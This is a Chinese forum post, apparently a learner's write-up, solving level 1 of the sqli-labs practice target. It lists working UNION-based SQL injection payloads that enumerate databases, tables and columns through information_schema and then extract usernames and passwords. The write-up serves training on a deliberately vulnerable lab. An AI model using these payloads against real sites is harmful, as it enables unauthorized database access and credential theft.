首页
社区
课程
招聘
[原创]sqli-labs第一关
发表于: 2018-12-11 15:46 1917

[原创]sqli-labs第一关

2018-12-11 15:46
1917

刚申请论坛,登陆说让我赶紧升级成初级会员,可是我又不知道发什么帖子好,只能把最近学习的sqli-labs靶场的思路写下来了

预备知识:

MySQL自带information_schema数据库表:

  • SCHEMATA表:提供了关于数据库的信息
  • TABLES表:给出了关于数据库中的表的信息
  • COLUMNS表:给出了表中的列信息
  • STATISTICS表:给出了关于表索引的信息

字符连接函数:

  • concat(str1,str2,...)——没有分隔符地连接字符串
  • concat_ws(separator,str1,str2,...)——含有分隔符地连接字符串
  • group_concat(str1,str2,...)——连接一个组的所有字符串,并以逗号分隔每一条数据

开始:

先添加单引号,报错:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

说明查询语句是:

SELECT * FROM users WHERE id='$id' LIMIT 0,1

'1'' LIMIT 0,1

尝试' or 1=1--+   这里的 --+是为了把后面的注释掉

'order by 4--+得到列数

-1'union select 1,2,3--+

显示出2,3,说明这里可以回显

爆库:

union select 1,group_concat(schema_name),3 from information_schema.schemata--+

查询schema_name(库名)并放到一个组里,从information_schema.schemata(存放所有数据库名的表)里面

爆表:

union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

查询table_name(表名)的信息放在一个组里,从information_schema.tables(存放所有表名的表)中table_schema='security'的地方

注:table_schema是tables表中的一个字段

爆列:

union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

查询column_name(列名)的信息,放在一个组里,从information_schema.coulmns(存放所有列名的表)中table_name='users'的地方

爆数据:

union select 1,username,password from users where id=2--+

从users表中的id=2的地方查询username和password的内容

结束

有错误的地方大家告诉我啊(捂脸)


[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 2
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//